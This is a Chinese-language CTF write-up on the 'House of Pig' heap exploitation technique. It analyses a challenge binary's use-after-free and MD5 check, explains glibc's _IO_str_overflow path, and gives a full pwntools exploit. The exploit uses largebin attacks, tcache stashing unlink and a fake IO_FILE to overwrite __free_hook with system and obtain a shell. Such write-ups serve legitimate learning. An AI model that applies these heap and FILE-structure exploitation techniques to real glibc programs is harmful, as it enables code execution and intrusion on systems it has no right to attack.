House of Pig

https://github.com/01dwang/house_of_pig

grxer@Ubantu20 ~/s/c/p/h/h/pig [2]> checksec ./pig
[*] '/mnt/hgfs/share/ctfwiki/pwn/heap/house_of_pig-main/pig/pig'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

结构体

struct PIG
{
char *des_ptr[24];
int des_size[24];
char des_exist_sign[24];
char freed_sign[24];
};
struct ALL_PIGS
{
char *peppa_des_ptr[24];
int peppa_des_size[24];
char peppa_des_exist_sign[24];
char peppa_freed_sign[24];
int peppa_last_size;
int align1;
char *mummy_des_ptr[24];
int mummy_des_size[24];
char mummy_des_exist_sign[24];
char mummy_freed_sign[24];
int mummy_last_size;
int align2;
char *daddy_des_ptr[24];
int daddy_des_size[24];
char daddy_des_exist_sign[24];
char daddy_freed_sign[24];
int daddy_last_size;
int view_times_left;
int edit_times_left;
};

最多20个堆块,0x90<=大小<=0x430+ 2次读,8次改的机会

Change roles时需要绕过md5校验

md5特征

unsigned __int64 __fastcall init_v5(char *a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
*(_DWORD *)a1 = 0;
*((_DWORD *)a1 + 1) = 0;
*((_DWORD *)a1 + 2) = 0x67452301;
*((_DWORD *)a1 + 3) = 0xEFCDAB89;
*((_DWORD *)a1 + 4) = 0x98BADCFE;
*((_DWORD *)a1 + 5) = 0x10325476;
return __readfsqword(0x28u) ^ v2;
}

最会一个md5值strcmp时会被00截断,所以输入数据的md5符合前位符合“<D\x00”即可

import hashlib
import random
head = "3c4400"
for i in range(100000000):
s=b'A'+str(i).encode()
if hashlib.md5(s).hexdigest().startswith(head):
print(s)
break
'''
A26535034
B3332073
C75929410
'''

切换时没有保存des_exist_sign

unsigned __int64 __fastcall sub_3B3E(PIG *a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
memcpy(mmap_0, a1, 0xC0uLL);
memcpy(mmap_0->peppa_des_size, a1->des_size, sizeof(mmap_0->peppa_des_size));
memcpy(mmap_0->peppa_freed_sign, a1->freed_sign, sizeof(mmap_0->peppa_freed_sign));
return __readfsqword(0x28u) ^ v2;
}

edit 和view时又以des_exist_sign为判断标准而且是0时表示使用,每次切换回来都会使des_exist_sign置零,delte时有没有将指针置零,所以配合存在uaf

高版本下的IO_FILE利用

在 libc 2.24 之后增加了对 vtable 位置合法性的检查,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性,所以劫持 _IO_jump_t 的方法失效,但是vtable _IO_str_jumps 是在 check 范围内,这样exit就会调用_exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_str_overflow

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
size_t new_size = 2 * old_blen + 100;
size_t old_blen = _IO_blen (fp);
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
new_size=2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100

满足

  • fp->_flags=0
  • fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base

_触发malloc (new_size) -> memcpy (new_buf, old_buf, old_blen); -> free (old_buf);控制_IO_buf_end、_IO_buf_base就可以控制malloc大小和要写入的数据

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./pig'
elf = ELF(pwnfile)
libcelf=elf.libc
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,'b *'+x)
dbpie = lambda x: gdb.attach(io,'b *$rebase('+x+')')
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def find_libc(func_name,func_ad):
p(func_name,func_ad)
global libc
libc = LibcSearcher(func_name,func_ad)
libcbase=func_ad-libc.dump(func_name)
p('libcbase',libcbase)
return libcbase
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def Add(size,payload):
io.sendlineafter(b"Choice: ",b'1')
io.sendlineafter(b"size: ",str(size).encode())
io.sendafter(b"message: ",(payload+b'\n')*(size//48))

def Show(idx):
io.sendlineafter(b"Choice: ",b'2')
io.sendlineafter(b"index: ",str(idx).encode())

def Edit(idx,payload):
io.sendlineafter(b"Choice: ",b'3')
io.sendlineafter(b"index: ",str(idx).encode())
io.sendafter(b"message: ",payload)

def Del(idx):
io.sendlineafter(b"Choice: ",b'4')
io.sendlineafter(b"index: ",str(idx).encode())

def Change(role):
io.sendlineafter(b"Choice: ",b'5')
if (role == 1):
io.sendlineafter(b"user:\n",b"A\x01\x95\xc9\x1c")
if (role == 2):
io.sendlineafter(b"user:\n",b"B\x01\x87\xc3\x19")
if (role == 3):
io.sendlineafter(b"user:\n",b"C\x01\xf7\x3c\x32")
Change(2)
for x in range(5):
Add(0x90,b'tcache size') # B0~B4
Del(x) # B0~B4
Change(1)
Add(0x150, b'tcache size\n') # A0
for x in range(7):
Add(0x150, b'tcache size\n') # A1~A7
Del(1+x)# A1~A7

# 0x150大小的A0放入unsortedbin
Del(0)# A0
Change(2)
#切割A0,剩余的0xa0大小放入unsorted
Add(0xb0,b'B'*0x8) # B5
Change(1)
#0xa0大小进入smallbin
Add(0x180, b'A'*0x8) # A8
for x in range(7):
Add(0x180, b'A'*0x8) # A9~A15
Del(9+x)
#A8进入unsortedbind
Del(8)#A8
Change(2)
#切割A8,unsortedbin还剩下0xa0
Add(0xe0, b'B'*0x8)# B6
Change(1)
#剩余a0进入smallbin
Add(0x430, b'A'*0x8)# A16
Change(2)
#防止a16和topchunk合并
Add(0xf0, b'B\n'*0x8) # B7
Change(1)
#A16放入unsortedbin
Del(16)
Change(2)
#a16进入largebin
Add(0x440, b'B\n'*0x8) # B8
Change(1)
Show(16)
ru('message is: ')
libc_base = uu64(r(6))-0x1ecfe0
free_hook = libc_base + libcelf.sym['__free_hook']
IO_list_all = libc_base + libcelf.sym['_IO_list_all']
p('libc_base',libc_base)
Edit(16, b'A'*0xf+b'\n')
Show(16)
ru(b'message is: '+b'A'*0xf+b'\n')
heap_base = uu64(r(6)) - 0x13940
p('heap_base',heap_base)


#----- first largebin_attack
#恢复A16的fd和bk
Edit(16, 2*p64(libc_base+0x1ecfe0) + b'\n')
Add(0x430, b'A'*0x8) # A17
Add(0x430, b'A'*0x8) # A18
Add(0x430, b'A'*0x8) # A19
Change(2)
#B8 0x440进入unsortedbin
Del(8)
#B8 0x440进入largebin
Add(0x450, b'B'*0x8) # B9
Change(1)
#A17进入unsortedbin
Del(17)
Change(2)
#修改B8的fd_nextsize和bk_nextsize 因为mompig的编辑是从0x10开始的
Edit(8, p64(0) + p64(free_hook-0x28) + b'\n')
Change(3)
#触发largebin attach的victim->bk_nextsize->fd_nextsize = victim;即 free_hook-0x28+0x20处写入
Add(0xa0, b'C'*0x8) # C0
b()
Change(2)
#恢复之前破坏的B8的fd_nextsize和bk_nextsize
Edit(8,2*p64(heap_base + 0x13e80)+ b'\n')

#----- second largebin_attac

Change(3)
#拿出上次触发largebin attach时申请0xa0切割后放入unsortedbin的堆块
Add(0x380, b'C'*0x8)
Change(1)
Del(19)# A19
Change(2)
Edit(8, p64(0) + p64(IO_list_all-0x20) + b'\n')
Change(3)
#,继续触发largebinattach 在IO_list_all写入堆地址
Add(0xa0, b'C'*0x8)
Change(2)
#恢复之前破坏的B8的fd_nextsize和bk_nextsize
Edit(8, 2*p64(heap_base+0x13e80)+b'\n')


#----- tcache_stashing_unlink_attack and FILE attack

Change(1)
#利用uaf修改A8放入smallbin的fd和bk,编辑的时候0x48大小只能接受0x16数据,0x50可以写0x48*(0x50//16)=0xf0大小,可以覆盖到smallbin里的fd bk
payload = b'A'*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
Edit(8, payload + b'\n')
Change(3)
payload = b'\x00'*0x18 + p64(heap_base+0x147c0)
#把写入iolistall的堆地址从largebin里申请出来,并把FILE的chain改写为smallbin第一个
Add(0x440, payload)#C3
#触发tcache_stashing_unlink_attack,将0xa0大小的free_hook-0x10链入tcache中
# gdb.attach(io,'b calloc')
Add(0x90, b'C'*0x8) # C4
IO_str_vtable = libc_base + 0x1e9560
system_addr = libc_base + libcelf.sym['system']
fake_IO_FILE = 2*p64(0) #fp->flag=0
fake_IO_FILE += p64(1) #change _IO_write_base = 1
fake_IO_FILE += p64(0xffffffffffff) #change _IO_write_ptr = 0xffffffffffff
#满足fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0x148a0) #v4 _IO_buf_base
fake_IO_FILE += p64(heap_base+0x148b8) #v5 _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(0) #change _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_str_vtable) #change vtable
payload = fake_IO_FILE + b'/bin/sh\x00' + 2*p64(system_addr)
#这里的gift申请 calloc(1uLL, 0xE8uLL);会从smallbin里把之前写入chain的堆块拿出来
sa('Gift:', payload)
b()
io.sendlineafter(b"Choice: ",b'5')
sla('user:\n', '')
io.interactive()

伪造完且exit返回之前

image-20230813173155790

image-20230813173349353

image-20230813173329624

当退出时触发exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_str_overflow

会malloc(2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)=malloc(0x94)会申请到free hook-0x10

memcpy会把system写入free_hook,最后触发free (old_buf);触发system(/bin/sh)

参考

https://blog.csdn.net/mozibai666/article/details/120121891